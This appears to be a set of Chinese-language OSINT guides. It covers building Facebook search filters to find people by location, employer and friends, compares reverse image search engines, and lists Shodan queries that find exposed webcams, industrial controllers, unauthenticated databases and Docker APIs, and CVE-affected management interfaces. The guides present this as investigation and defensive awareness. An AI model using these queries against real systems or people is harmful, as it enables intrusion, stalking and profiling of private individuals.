公开帖子

```
JSON: {"rp_author":"{\"name\":
\"merged_public_posts\",\"args\":\"\"}"}

Base64:
eyJycF9hdXRob3IiOiJ7XCJuYW1lXCI6XCJtZXJnZWRfcHVibGljX3Bv
```

您个人资料中的帖子

```
JSON: {"rp_author":"{\"name\":\"author_me\",\"args
\":\"\"}"}

Base64:
eyJycF9hdXRob3IiOiJ7XCJuYW1lXCI6XCJhdXRob3JfbWVcIixcImFy
```

您的个人资料查看的帖子「你看过什么可能自己已经忘了，但是 Facebook 记得」

```
JSON: {"interacted_posts":"{\"name\":
\"interacted_posts\",\"args\":\"\"}"}

Base64:
eyJpbnRlcmFjdGVkX3Bvc3RzIjoie1wibmFtZVwiOlwiaW50ZXJhY3Rl
```

您的朋友的帖子

```
JSON: {"rp_author":"{\"name\":
```

\"author_friends_feed\",\"args\":\"\"}"}

Base64:
eyJycF9hdXRob3IiOiJ7XCJuYW1lXCI6XCJhdXRob3JfZnJpZW5kc19m

您点赞的页面和您所属的群组中的帖子 「用于防御，回忆文章开头的故事」

JSON: {"rp_author":"{\"name\":
\"my_groups_and_pages_posts\",\"args\":\"\"}"}

Base64:
eyJycF9hdXRob3IiOiJ7XCJuYW1lXCI6XCJteV9ncm91cHNfYW5kX3Bh

您所属的群组中的帖子

JSON: {"rp_group":"{\"name\":\"my_groups_posts\",
\"args\":\"\"}"}

Base64:
eyJycF9ncm91cCI6IntcIm5hbWVcIjpcIm15X2dyb3Vwc19wb3N0c1wi

来自特定页面的帖子 —— 注意：您将需要感兴趣页面的Facebook ID。将“ PutIDHere”替换为该ID号。

JSON: {"rp_author":"{\"name\":\"author\",\"args\":
\"PutIDHere\"}"}

Base64: Depends on the ID used.

来自特定群组的帖子 —— 注意：您将需要感兴趣页面的Facebook ID。将 “ PutIDHere” 替换为该ID号。

JSON: {"rp_group":"{\"name\":\"group_posts\",
\"args\":\"PutIDHere\"}"}

Base64: Depends on the ID used.

标有特定位置的公开信息 —— 注意：您将需要感兴趣页面的Facebook ID。将“ PutIDHere”替换为该ID号。「追踪目标事件或个人」

```
JSON: {"rp_location":"{\"name\":\"location\",
\"args\":\"PutIDHere\"}"}

Base64: Depends on the ID used.
```

在特定时间范围内的公开帖子 —— 注意：您必须更改时间范围。您可以根据自己的喜好更改下面突出显示的部分。「追踪目标事件或个人」

JSON: {“rp_creation_time”:”{\”name\”:\”creation_time\”,\”args\”:\”{\\\”start_year\\\”:\\\”**2019**\\\”,\\\”start_month\\\”:\\\”**2019–1**\\\”,\\\”end_year\\\”:\\\”**2019**\\\”,\\\”end_month\\\”:\\\”**2019–12**\\\”,\\\”start_day\\\”:\\\”**2019–1–1**\\\”,\\\”end_day\\\”:\\\”**2019–12–31**\\\”}\”}”}

Base64: Depends on the time range used.

Search/people/（找人）

特定城市中的人 —— 注意：您将需要感兴趣页面的 Facebook ID。将“ PutIDHere”替换为该ID号。「请勿在简介中标注任何真实个人信息！」

```
JSON: {"city":"{\"name\":\"users_location\",\"args
\":\"PutIDHere\"}"}

Base64: Depends on the ID used.
```

有特定教育经历的人 —— 注意：您将需要感兴趣页面的 Facebook ID。将“ PutIDHere”替换为该ID号。「请勿在简介中标注任何真实个人经历！」

```
JSON: {"school":"{\"name\":\"users_school\",\"args
\":\"PutIDHere\"}"}

Base64: Depends on the ID used.
```

为特定雇主工作的人 —— 注意：您将需要感兴趣页面的 Facebook ID。将” PutIDHere”替换为该ID号。「请勿在简介中标注任何真实个人信息！」

```
JSON: {"employer":"{\"name\":\"users_employer\",
```

\"args\":\"PutIDHere\"}"}

Base64: Depends on the ID used.

查找自己个人资料的朋友「关系网络」

JSON: {"friends":"{\"name\":\"users_friends\",
\"args\":\"\"}"}

Base64:
eyJmcmllbmRzIjoie1wibmFtZVwiOlwidXNlcnNfZnJpZW5kc1wiLFwi

寻找自己朋友的共同朋友「有可能隐藏的关系网络」

JSON: {"friends":"{\"name\":
\"users_friends_of_friends\",\"args\":\"\"}"}

Base64:
eyJmcmllbmRzIjoie1wibmFtZVwiOlwidXNlcnNfZnJpZW5kc19vZl9m

查找一个特定个人资料的朋友 —— 注意：您将需要感兴趣页面的Facebook ID。将” PutIDHere”替换为该ID号。「追踪所用」

JSON: {"friends":"{\"name\":
\"users_friends_of_people\",\"args\":\"PutIDHere
\"}"}

Base64: Depends on the ID used.

Search/photos/（搜照片）

「以下均为调查所用，并可用于防御 —— 筛查并删除任何包括您正面脸部的照片！」

公开照片

JSON: {"rp_author":"{\"name\":
\"merged_public_posts\",\"args\":\"\"}"}

Base64:
eyJycF9hdXRob3IiOiJ7XCJuYW1lXCI6XCJtZXJnZWRfcHVibGljX3Bv

您自己的照片从您的个人资料中发布的

```
JSON: {"rp_author":"{\"name\":\"author_me\",\"args
\":\"\"}"}

Base64:
eyJycF9hdXRob3IiOiJ7XCJuYW1lXCI6XCJhdXRob3JfbWVcIixcImFy
```

您的个人资料查看的照片

```
JSON: {"interacted_posts":"{\"name\":
\"interacted_posts\",\"args\":\"\"}"}

Base64:
eyJpbnRlcmFjdGVkX3Bvc3RzIjoie1wibmFtZVwiOlwiaW50ZXJhY3Rl
```

您的朋友发布的照片

```
JSON: {"rp_author":"{\"name\":
\"author_friends_feed\",\"args\":\"\"}"}

Base64:
eyJycF9hdXRob3IiOiJ7XCJuYW1lXCI6XCJhdXRob3JfZnJpZW5kc19m
```

您点赞的页面和您所属的群组发布的照片

```
JSON: {"rp_author":"{\"name\":
\"my_groups_and_pages_posts\",\"args\":\"\"}"}

Base64:
eyJycF9hdXRob3IiOiJ7XCJuYW1lXCI6XCJteV9ncm91cHNfYW5kX3Bh
```

您所属的群组发布的照片

```
JSON: {"rp_group":"{\"name\":\"my_groups_posts\",
\"args\":\"\"}"}

Base64:
eyJycF9ncm91cCI6IntcIm5hbWVcIjpcIm15X2dyb3Vwc19wb3N0c1wi
```

特定页面发布的照片 —— 注意：您将需要感兴趣页面的Facebook ID。将“ PutIDHere”替换为该ID号。

```
JSON: {"rp_author":"{\"name\":\"author\",\"args\":
```

\"PutIDHere\"}"}

Base64: Depends on the ID used.

特定群组发布的照片——注意：您将需要感兴趣页面的Facebook ID。将“ PutIDHere”替换为该ID号。

JSON: {"rp_group":"{\"name\":\"group_posts\", \"args\":\"PutIDHere\"}"}

Base64: Depends on the ID used.

带有特定位置标签的照片—— 注意：您将需要感兴趣页面的Facebook ID。将“ PutIDHere”替换为该ID号。

JSON: {"rp_location":"{\"name\":\"location\", \"args\":\"PutIDHere\"}"}

Base64: Depends on the ID used.

在特定时间范围内发布的照片—— 注意：您必须更改时间范围。您可以根据自己的喜好更改下面突出显示的部分。

JSON: {“rp_creation_time”:”{\”name\”:\”creation_time\”,\”args\”:\”{\\\”start_year\\\”:\\\”**2019**\\\”,\\\”start_month\\\”:\\\”**2019–1**\\\”,\\\”end_year\\\”:\\\”**2019**\\\”,\\\”end_month\\\”:\\\”**2019–12**\\\”,\\\”start_day\\\”:\\\”**2019–1–1**\\\”,\\\”end_day\\\”:\\\”**2019–12–31**\\\”}\”}”}

Base64: Depends on the time range used.

Search/videos/（搜视频）

「以下均为调查所用 —— 追踪具体事件；且可以做到筛查并发现，如果有人上传了包含您的脸部的视频，并在说明中详细介绍了您的真实身份，请对方删除此视频！」

搜索直播视频

JSON: {"videos_source":"{\"name\":\"videos_live\", \"args\":\"\"}"}

Base64:
eyJ2aWRlb3Nfc291cmNlIjoie1wibmFtZVwiOlwidmlkZW9zX2xpdmVc

搜索事件

JSON: {"videos_source":"{\"name\":\"videos_episode
\",\"args\":\"\"}"}

Base64:
eyJ2aWRlb3Nfc291cmNlIjoie1wibmFtZVwiOlwidmlkZW9zX2VwaXNv

您的朋友和您所属的群组发布的视频

JSON: {"videos_source":"{\"name\":\"videos_feed\",
\"args\":\"\"}"}

Base64:
eyJ2aWRlb3Nfc291cmNlIjoie1wibmFtZVwiOlwidmlkZW9zX2ZlZWRc

标记到特定位置的视频—— 注意：您将需要感兴趣页面的Facebook ID。将“ PutIDHere”替换为该ID号。

SON: {"rp_location":"{\"name\":\"location\",\"args
\":\"PutIDHere\"}"}

Base64: Depends on the ID used.

在特定时间范围内发布的视频 ———— 注意：您必须更改时间范围。您可以根据自己的喜好更改下面突出显示的部分。

JSON: {“rp_creation_time”:”{\”name\”:\”creation_time\”,\”args\”:
\”{\\\”start_year\\\”:\\\”**2019**\\\”,\\\”start_month\\\”:\\\”**2019–1**\\\”,\\\”end_year\\\”:\\\”**2019**\\\”,\\\”end_month\\\”:\\\”**2019–12**\\\”,\\\”start_day\\\”:\\\”**2019–1–1**\\\”,\\\”end_day\\\”:\\\”**2019–12–31**\\\”}\”}”}

Base64: Depends on the time range used.

Search/pages（搜页面）

「为调查所用（包括各种目的的追踪）」

搜索“已验证”页面

JSON: {"verified":"{\"name\":\"pages_verified\",
\"args\":\"\"}"}

Base64:
eyJ2ZXJpZmllZCI6IntcIm5hbWVcIjpcInBhZ2VzX3ZlcmlmaWVkXCIs

搜索当地商家或地点的页面

JSON: {"category":"{\"name\":\"pages_category\",
\"args\":\"1006\"}"}

Base64:
eyJjYXRlZ29yeSI6IntcIm5hbWVcIjpcInBhZ2VzX2NhdGVnb3J5XCIs

搜索公司、组织或机构的页面

JSON: {"category":"{\"name\":\"pages_category\",
\"args\":\"1013\"}"}

Base64:
eyJjYXRlZ29yeSI6IntcIm5hbWVcIjpcInBhZ2VzX2NhdGVnb3J5XCIs

搜索品牌或产品页面

JSON: {"category":"{\"name\":\"pages_category\",
\"args\":\"1009\"}"}

Base64:
eyJjYXRlZ29yeSI6IntcIm5hbWVcIjpcInBhZ2VzX2NhdGVnb3J5XCIs

搜索艺术家、政客、或公众人物的页面

JSON: {"category":"{\"name\":\"pages_category\",
\"args\":\"1007,180164648685982\"}"}

Base64:
eyJjYXRlZ29yeSI6IntcIm5hbWVcIjpcInBhZ2VzX2NhdGVnb3J5XCIs

搜索娱乐页面

JSON: {"category":"{\"name\":\"pages_category\",

\"args\":\"1019\"}"}

Base64:
eyJjYXRlZ29yeSI6IntcIm5hbWVcIjpcInBhZ2VzX2NhdGVnb3J5XCIs

搜索组织社区的页面

JSON: {"category":"{\"name\":\"pages_category\",
\"args\":\"2612\"}"}

Base64:
eyJjYXRlZ29yeSI6IntcIm5hbWVcIjpcInBhZ2VzX2NhdGVnb3J5XCIs

执行查询时可能出现的错误原因

您可能会得到空白页或显示该页面不存在的情况。

⚠如果显示空白页，则说明您在查询中做错了什么。举例来说，这表示您尝试在“people”类别中搜索“Most recent”，这肯定找不到。

检查您是否选择了正确的类别和正确的查询。然后重建查询。

⚠如果您看到“此页面不存在”的错误消息；这表示您在查询中拼错了一些内容。

检查您是否复制了正确的 Base64 行、是否使用了如上所述的正确的基本 URL、是否不小心删除了某个位置的字符，等等。

「图」

「图」

⚠如果正确拼写所有内容依旧遇到错误呢？这可能与以下事实有关：JSON 字符串中的引号不是直的而是稍微倾斜的。确保使用英文的直引号。

组合查询

以上的内容您掌握了吗？

如果是，我们将进一步提高 —— 使用组合查询。

例如，通过这种方式，您可以搜索居住在“加利福尼亚山景城”并为“Google”工作的、名字里带有“John”的人，等等。

要组合什么？

请先回忆上述我们讨论过的类别：

- Search/top/
- Search/posts/
- Search/people/
- Search/photos/
- Search/videos/
- Search/pages/

无法将“照片”中的查询与“人物”中的查询结合在一起。因此您必须使组合停留在一个类别中（例如，您使用个人资料在特定群组中查看过的帖子，等等）。

如何开始组合

为了组合查询，我们必须将两行（或更多）JSON 行放在一起。

最好用一个例子来解释：假设我们正在寻找居住在“加利福尼亚山景城” 为 “ Google” 工作的、名为“John”的人。

首先构建基本URL。在该示例的情况下，它将如下所示：

facebook.com/**search/people**/?q＝**john**&epa＝FILTERS&filters＝

‘search/people/’ 的意思是你想要找人；‘?q＝**john’** 是目的，查找名为 John 的人。

因此，现在我们需要找到“加利福尼亚山景城”位置的ID和“ Google”业务页面的ID。

Mountain View, California ＝ 108212625870265

Google ＝ 104958162837

现在，使用JSON行来查找特定城市中的人，并插入 Mountain View 的ID：

{“city”:”{\”name\”:\”users_location\”,\”args\”:\”108212625870265\”}”}

其次，采用JSON行来查找为特定雇主工作的人，并插入 Google 的 ID：

{“employer”:”{\”name\”:\”users_employer\”,\”args\”:\”104958162837\”}”}

现在需要将这两行结合起来。为了将它们组合在一起，需要删除一些花括号并添加一个逗号。

下面：需要删除的花括号被突出显示，并且需要插入的逗号也被突出显示：

{“city”:”{\”name\”:\”users_location\”,\”args\”:\”108212625870265\”}”**},{**“employer”:”{\”name\”:\”users_employer\”,\”args\”:\”104958162837\”}”}

完整的正确JSON行将变成这样：

{“city”:”{\”name\”:\”users_location\”,\”args\”:\”108212625870265\”}”,”employer”:”{\”name\”:\”users_employer\”,\”args\”:\”104958162837\”}”

尝试组合这些查询时，对其进行测试很重要。

通过以下方式可以非常轻松地完成测试：https://jsonformatter.curiousconcept.com/#粘贴您创建的JSON行；

- 选择JSON模板 ‘Compact’；
- 点击 ‘Process’。

「图」

「图」

如果您犯了一个错误，则会看到一个报错，并且，其中会包括您犯错的地方。真的很有帮助！

「图」

「图」

最常见的错误是JSON行中的引号不正确。必须是英文直引号。

如果您在测试 JSON 行时遇到错误，请确保将 JSON 行复制并粘贴到 Microsoft Word 等文本程序中，选取文本并将字体更改为 “ **Lucinda Console**”。

现在，复制并粘贴 JSON 行，您的问题应该已解决。

因此，既然已经拥有正确的 JSON 行，那么就可以回到 CyberChef 了。就像前文所演示的那样，我们将 JSON “bake”到 Base64。

得到的结果如下：

eyJjaXR5Ijoie1wibmFtZVwiOlwidXNlcnNfbG9jYXRpb25cIixcImFyZ3NcIjpc

「图」

「图」

放到一起！

好的，现在已经创建了基本URL，并创建了包含两个查询的搜索组合。那么把它们放到一起：

facebook.com/**search/people**/?q＝**john**&epa＝FILTERS&filters＝**eyJjaXR5Ijoie1wibmFtZVwiOlwidXNlc**

现在，您将看到生活在“山景城”中名为“ John”的人（为“ Google”工作）的搜索结果！

「图」

「图」

如果您要专门搜索页面或城市，则在单击“选择城市”时使用页面ID号比在下拉菜单中搜索特定页面要有效得多。

更多地尝试查询

您必须尝试不同的查询，以找出最适合您的查询。

甚至尝试在查询中放入2条以上的JSON行。

另外，不要忘记搜索栏！也有一些不错的过滤选项！

而且，如果您在使用搜索栏时已注意到构建URL的方式，您会发现其中的 Base64 行 —— 您总是可以尝试将 **Base64** 反向转换为 **JSON**（使用 **CyberChef**），以了解 **Facebook** 如何构建查询，以便您可以从中学习。

⚠再次强调：请注意本文中标注的诸多安全防御用例。

就是这样，玩得开心！○

这篇文章来自 djnemec 的 Github，您可以在这里看到。此外 Kirby 的网站中也有很多有趣的东西，在这里看到。

广告

原文

搜图功能哪家强？图像验证方法的能力对比 - iYouPort

开源情报-每个人都可用的武器

它们各有千秋，您只需要记住它们各自的特点，匹配你每一次调查的不同需求，以便发挥最大价值

「图」

「图」

信息验证过程中对图像和视频的验证是一个重点。因为图像和视频是作假的主要渠道。调查中也是如此，图像经常包含明显的情报线索。

我们介绍过一些验证视觉信息的简单方法和工具，也演示过很多验证和调查的过程，您可以在“开源情报”栏目中找到。

但是对于初学者来说，工具越多似乎越难以选择。

于是，本文将简要比较一些主要图像搜索引擎的反向图像查找功能 —— 您将会发现，什么才是最好的，要取决于您的调查目标是什么，想要什么。因为这些工具各有千秋。

熟悉它们的特征将更好的帮助您在应用方面获得准确的判断。

本文不讨论图像分析的任何更复杂的方面，而是纯粹专注于您上传图像进行反转查询时的期望。关于图像情报的分析，可以参见我们的开源情报栏目中提供的演示。

反向图像搜索

在安全性研究中，你会处理各种类型的数据：IOC、恶意软件二进制文件、报告等等；一种可能经常被忽略的数据类型是图像，例如 论坛帖子上的个人资料图片、恶意软件广告中的照片等等。

通过以各种方式搜索这些图像，可以了解有关调查主题的很多信息。

对于某些调查，使用常规搜索引擎（例如 Google 或 Bing）进行反向图像搜索可能就足够了。

例如，如果您遇到不熟悉的logo，则简单的反向图像搜索就可能会返回有关logo图像来源的信息，例如关于品牌、甚至是位置的信息。

再比如，在调查过程中遇到正在调查的恶意软件作者使用的头像。该头像似乎是特定的，但你并不熟悉它，更多地了解该头像可以帮助进一步了解该恶意软件的作者。

「图」

「图」

在此示例中，转到 images.google.com 并单击搜索栏中的相机图标。

「图」

「图」

在此处，您可以选择是从文件中上传图像或者粘贴图像的URL。上传该头像后单击“按图像搜索”。

然后你就会看到相关的一些信息。

「图」

「图」

在这种情况下，上传的图片非常独特，足以让你知道它是与俄罗斯犯罪组织紧密相关的图片，这有助于缩小调查对象的范围 —— 可能是俄罗斯人（或者至少对俄罗斯很着迷）。

有时 Google 可能无法返回足够具体的结果；在这种情况下，尝试使用 Yandex、Bing 或 TinEye 进行反向图像搜索也会很有用。

有时，当尝试进行反向图像搜索时，以某种方式更改原始图像才更容易找到最佳结果。

比如，有人发布了一张图像，并声称是原始图像，但实际上只是现有照片的翻转/反转版本。通过翻转照片然后进行搜索，您可能找到更

准确的搜索结果。

仔细裁剪还可能会产生更好的结果，因为照片中的其他对象可能会导致搜索引擎将注意力集中在错误的主题上。

尽管图像和照片并不是研究人员在研究中发现的最常见的信息，但是当您尝试识别 **logo** 或头像、对照片进行地理定位、或识别一个目标个人时，这些知识就会特别重要。希望本指南对您有所帮助。

反向图像搜索平台的比较

用于反向图像搜索的最佳网站：以下全部都是。

「图」

「图」

Google Images

谷歌的特点是试图识别图像的主题，而非图像本身。

结果通常分为三个部分：算法认为是照片的搜索结果，视觉上相似（但不完全相同）的结果，以及包含相同图像的页面。

在这三个部分上 Google 是强大的反向搜索资源。

但是，不利的一面是，许多匹配项都侧重于图像中的主题，因此，如果图像搜索的主题不太清楚，您可能不会获得高质量的结果。

该搜索也会把自己限制在一个主题上，因此，假设输入的是山和湖附近房屋的照片，您将不会看到有位于山湖附近的房屋的照片，而是获得视觉上相似的房屋，它不会考虑湖泊或山的背景。

Yandex Images

与 Google 类似的 Yandex 是用于反向图像搜索的金矿。

开源调查的培训经常会提及 **“Yandex** 比谷歌更好**”**，这是因为 Yandex 可以适合很多调查相关的情况。

它的特点是提供相同图像的其他尺寸，视觉上相似的图像，以及页面上具有相似图像的许多结果。

Yandex 往往是最适合人脸匹配和位置识别的搜索引擎，正因此它适合开源情报调查。

Bing Images

Bing 具有我真正喜欢的独特功能 —— 您可以在其中裁剪照片的区域并查看实时结果。

这对于具有多个可识别主题的高质量图像来说会非常有用。

此外，与 Google 相比，Bing 尝试识别照片中的元素并查找包含所有这些元素的图像。

因此，一张停在树旁的古董车的图片会触发包含一棵树和一辆古董车的相关匹配，而 Google 在这种情况下会选择其中一个强烈的主题并寻找匹配。

Bing 的与众不同之处还在于，它可以主动识别图像中的脸部、产品和其他元素。有多个显要主题的高清图像将被突出显示每个主题。显然，这样一来您不会错过东西。

TinEye

TinEye 最初创建唯一目的是寻找同一图像的其他尺寸，多年来，它一直提供这一功能。

我认为他们在过去一年左右的时间内启用了匹配算法，现在可以做到寻找视觉上相似的图像匹配结果。

这意味着您可能会在这里找到您提供的图像在其他图像中存在的状况，如果是照片，则可能会找到构图完全相同的其他照片。

我想在此指出，TinEye不应该被视为这些其他搜索引擎的直接竞争对手。

TinEye 的功能对于处理纯数字媒体（头像、徽标、按钮等）的情况是赢家。比如您的调查正在尝试追踪一个特殊的头像，它就会很有用，即便您的调查目标在不同平台上使用了不同的ID，也容易找到。

精选范例

使用以下图片进行比较。也许无法展示这些搜索引擎背后的所有细微

差别，但是可以很好地说明它们之间的惊人差异。

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

上面这一串分别是：

1、DomainTools 的logo

2、电影剧照，演员 Fisher Stevens

3、黑客组织“死牛崇拜”的logo

4、米兰中央火车站（私人照片）

5、HackForums

下面来比较一下。

1、DomainTools 的 logo

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

如上所示，Google 在将你直接链接到 DomainTools 网站方面做得很好。

Yandex 的搜索效果也很好，但首先要使用 Twitter。令人惊讶的是，结果中还出现了一些可疑的相似 logo……（把盗版挖出来了）

Bing 不会直接识别 DomainTools，但会显示 DomainTools 博客和 LinkedIn 页面中的图像。

TinEye 在这个案例中更偏爱 Twitter，可能是因为作为测试的logo是从 Twitter 提取的。

2、电影剧照

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

谷歌识别到了这张剧照的来源，它在结果中清楚的显示了 Hackers。

Yandex 展示了来自 Torrent 站点的几乎相同的屏幕截图，以及 The

Plague 的其他许多图片（而不仅是 Fisher Stevens）。

Bing 确实识别出了 Fisher Stevens 为图片中的演员。它还将图像标记为Hacker Movie”。

TinEye 显示了一些洪流站点的结果。

3、黑客组织”死牛崇拜”的logo

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

Google 认为这是“黑暗”型的图片，于是它找到的视觉上相似的图像均以火焰状或红色/头骨为主题。

Yandex 则直接找到了死牛崇拜的页面，以及使用同一张头骨图片的其他多个图像版本。

Bing 展示了类似的带有火焰视觉效果的图像。

TinEye 很有趣地找到了基于相同照片的其他版本，但没有显示原始照片来源。

4、米兰中央火车站

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

Google 的结果实际上提供了一个关于该火车站的完整介绍。

Yandex 可以很好地在前几个结果中显示正确的位置，但没有直接定位。

Bing 的效果也相对不错，但没有注明火车站的名字。

TinEye 的结果为零，什么都没找到。公平地说，这是可以预期的，因为这种照片是原创，首次上传互联网。

5、HackForums

Google 在此失败了，它只认为图片是“黑白”的。结果是随机主题的所有黑白图像。

Yandex 的表现同样糟糕，但至少找到了同类主题的东西。

Bing 的效果也很惨，它找到一大堆乱七八糟的照片。

TinEye 相比之下简直完美，它得到了指向正确方向的多个结果。

总结

正如前文中所强调的那样，每个搜索引擎都有其优点和缺点。

还请记住，这些搜索引擎都无法深度索引 Instagram、Twitter、Facebook 和其他社交媒体，也就是说，您不会以这种方式获得OSINT超级能力。

关于对推特的勘查请见这篇文章，这是一个指南《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

进行调查时，请务必使用所有这些搜索引擎，因为如果您不这样做，

很可能会错过重要的相关性线索。

顺便推荐一个工具：Hunchly，这是跟踪记录在线研究的好方法；记者、调查人员、网络分析师等等，都适合使用它。〇

A Brief Comparison of Reverse Image Searching Platforms 广告

原文

搜远程桌面、摄像头、打印机、家用设备 ... 等一切的超级Shodan搜索：恐怖指南 - iYouPort

开源情报-每个人都可用的武器

真的建议您把本列表中的每一个搜索都试一下，即便您不是调查爱好者，尝试这些搜索也能帮助您以最简单的方式了解到联网设备有多么的不安全 —— 提醒防御。

「图」

「图」

众所周知，Shodan 是一个特殊的搜索引擎，它允许用户使用各种过滤器查找连接到互联网的特定类型的东西。

与 Google 这种搜索网址的搜索引擎不同，Shodan 是用来搜索网络空间中在线设备的，你可以通过 Shodan 搜索指定的设备，或者搜索特定类型的设备。

Shodan 自诞生那天起就被称为“世界上最可怕的搜索引擎”，不是没道理的。

Shodan不仅能够搜到某个区域的思科路由器，通过同样的机制，它还可以搜到摄像头、视频广告牌、车牌扫描仪、巨大的风力涡轮机、你的家用设备、以及许许多多的其它在线设备。

随着人类对所谓物联网的狂热无限膨胀，安全风险已经前所未有地严重。

本文是一个列表，每一个搜索项都有一个超链接指向直接的结果。

这是为了提醒防御；而不是伤害！

目录：

- 工业控制系统
- 远程桌面
- 网络基础设施
- 网络附加存储（NAS）
- 摄像头
- 打印机和复印机
- 家用设备
- 随机的东西

工业控制系统

"三星电子广告牌" 🔍

`"Server: Prismview Player"`

「图」

「图」

"加油泵控制器" 🔍

`"in-tank inventory" port:10001`

「图」

「图」

"自动车牌读取器" 🔍

`P372 "ANPR enabled"`

「图」

「图」

"交通信号灯控制器/红光摄像机" 🔍

`mikrotik streetlight`

"美国的投票机" 🔍

`"voter system serial" country:US`

"运营思科合法拦截窃听的电信公司" 🔍

```
"Cisco IOS" "ADVIPSERVICESK9_LI-M"
```

思科在RFC 3924中概述的窃听机制：

合法拦截是指合法授权的拦截和监视拦截对象的通信。术语“拦截对象”是指电信服务的订户，其通信和/或拦截相关信息（*IRI*）已被合法授权拦截并交付给某些机构。

"监狱专用电话" 🔍

```
"[2J[H Encartele Confidential"
```

"Tesla PowerPack 充电状态" 🔍

```
http.title:"Tesla PowerPack System"
http.component:"d3" -ga3ca4f2
```

「图」

「图」

"电动汽车充电器" 🔍

```
"Server: gSOAP/2.8" "Content-Length: 583"
```

"海事卫星" 🔍

Shodan 制作了一个非常漂亮的 Ship Tracker，它可以实时绘制船舶位置。

在这里看到通过追踪邮轮位置揭露腐败官员撒谎的开源调查案例《利用开源调查揭露腐败》。（我是想说，它也能做好事……）

```
"Cobham SATCOM" OR ("Sailor" "VSAT")
```

「图」

「图」

"潜艇任务控制仪表板" 🔍

title:"Slocum Fleet Mission Control"

"CAREL PlantVisor" 制冷机组 🔍

"Server: CarelDataServer" "200 Document follows"

「图」

「图」

"Nordex 风力发电机场" 🔍

http.title:"Nordex Control" "Windows 2000 5.0 x86" "Jetty/3.1 (JSP 1.1; Servlet 2.2; java 1.6.0_14)"

"C4 Max商用车GPS追踪器" 🔍

"[1m[35mWelcome on console"

「图」

「图」

"DICOM 标准的医用X射线机" 🔍

"DICOM Server Response" port:104

"GaugeTech电表" 🔍

"Server: EIG Embedded Web Server" "200 Document follows"

「图」

「图」

"西门子工业自动化" 🔍

"Siemens, SIMATIC" port:161

"西门子HVAC控制器" 🔍

"Server: Microsoft-WinCE" "Content-Length: 12581"

"门锁门禁控制器" 🔍

```
"HID VertX" port:4070
```

"铁路管理" 🔍

```
"log off" "select the appropriate"
```

远程桌面

"无保护的VNC" 🔍

```
"authentication disabled" "RFB 003.008"
```

顺便说一下，Shodan Images 是一个很棒的辅助工具，在这里看到。

「图」

「图」

"Windows RDP"（远程桌面协议）🔍

```
"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"
```

网络基础设施

"MongoDB" 🔍

默认情况下，旧版本不安全。非常吓人的。

```
"MongoDB Server Information" port:27017 -
authentication
```

「图」

「图」

"Mongo Express Web GUI" 🔍

就像臭名昭著的 phpMyAdmin 一样，但适用于 MongoDB。

```
"Set-Cookie: mongo-express=" "200 OK"
```

「图」

「图」

"Jenkins CI" 🔍

```
"X-Jenkins" "Set-Cookie: JSESSIONID"
http.title:"Dashboard"
```

「图」

「图」

"Docker APIs" 🔍

```
"Docker Containers:" port:2375
```

"Pi-hole OpenDNS 服务器" 🔍

```
"dnsmasq-pi-hole" "Recursion: enabled"
```

"root用户通过telnet方式远程登录" 🔍

```
"root@" port:23 -login -password -name -Session
```

"Android Root Bridges" 🔍

```
"Android Debug Bridge" "Device" port:5555
```

"Lantronix 串口的以太网设备泄漏 Telnet 密码" 🔍

```
Lantronix password port:30718 -secured
```

"Citrix 虚拟应用程序" 🔍

```
"Citrix Applications:" port:1604
```

「图」

「图」

"思科智能安装" 🔍

易受攻击（有点“设计使然”，特别是暴露时）。

```
"smart install client active"
```

"PBX IP 电话网关" 🔍

```
PBX "gateway console" -password port:23
```

"Polycom 视频会议" 🔍

```
http.title:"- Polycom" "Server: lighttpd"
```

"Telnet配置" 🔍

```
"Polycom Command Shell" -failed port:23
```

「图」

「图」

"Bomgar 服务台门户" 🔍

```
"Server: Bomgar" "200 OK"
```

"英特尔主动管理CVE-2017–5689" 🔍

```
"Intel(R) Active Management Technology"
port:623,664,16992,16993,16994,16995
```

"惠普 iLO 4 远程命令执行漏洞 (CVE-2017–12542)"🔍

```
HP-ILO-4 !"HP-ILO-4/2.53" !"HP-ILO-4/2.54" !"HP-
ILO-4/2.55" !"HP-ILO-4/2.60" !"HP-ILO-4/2.61"
!"HP-ILO-4/2.62" !"HP-iLO-4/2.70" port:1900
```

Outlook Web Access

"Exchange 2007" 🔍

```
"x-owa-version" "IE=EmulateIE7" "Server:
Microsoft-IIS/7.0"
```

「图」

「图」

"Exchange 2010" 🔍

```
"x-owa-version" "IE=EmulateIE7" http.favicon.hash:442749392
```

「图」

「图」

"Exchange 2013 / 2016" 🔍

```
"X-AspNet-Version" http.title:"Outlook" -"x-owa-version"
```

「图」

「图」

"Lync / Skype 商业版" 🔍

```
"X-MS-Server-Fqdn"
```

网络附加存储（NAS）

"SMB（Samba）文件共享" 🔍

产生约500,000个结果 … 可以通过添加“文档”或“视频”等来缩小范围。

```
"Authentication: disabled" port:445
```

"域控制器" 🔍

```
"Authentication: disabled" NETLOGON SYSVOL -unix port:445
```

"可以匿名登录的FTP服务器" 🔍

```
"220" "230 Login successful." port:21
```

"Iomega / LenovoEMC NAS驱动器" 🔍

"Set-Cookie: iomega=" -"manage/login.html" -
http.title:"Log In"

「图」

「图」

"Buffalo TeraStation NAS 驱动器" 🔍

Redirecting sencha port:9000

「图」

「图」

"罗技媒体服务器" 🔍

"Server: Logitech Media Server" "200 OK"

「图」

「图」

"Plex 媒体服务器" 🔍

"X-Plex-Protocol" "200 OK" port:32400

"Tautulli / PlexPy 仪表板" 🔍

"CherryPy/5.1.0" "/home"

「图」

「图」

摄像头

不需要示例图像。

"Yawcams" 🔍

"Server: yawcam" "Mime-Type: text/html"

"webcamXP/webcam7" 🔍

```
("webcam 7" OR "webcamXP")
http.component:"mootools" -401
```

"Android IP网络摄像头服务器" 🔍

```
"Server: IP Webcam Server" "200 OK"
```

"数字视频录像机" 🔍

```
html:"DVR_H264 ActiveX"
```

打印机和复印机

"惠普打印机" 🔍

```
"Serial Number:" "Built:" "Server: HP HTTP"
```

「图」

「图」

"施乐复印机/打印机" 🔍

```
ssl:"Xerox Generic Root"
```

「图」

「图」

"爱普生打印机" 🔍

```
"SERVER: EPSON_Linux UPnP" "200 OK"
```

```
"Server: EPSON-HTTP" "200 OK"
```

「图」

「图」

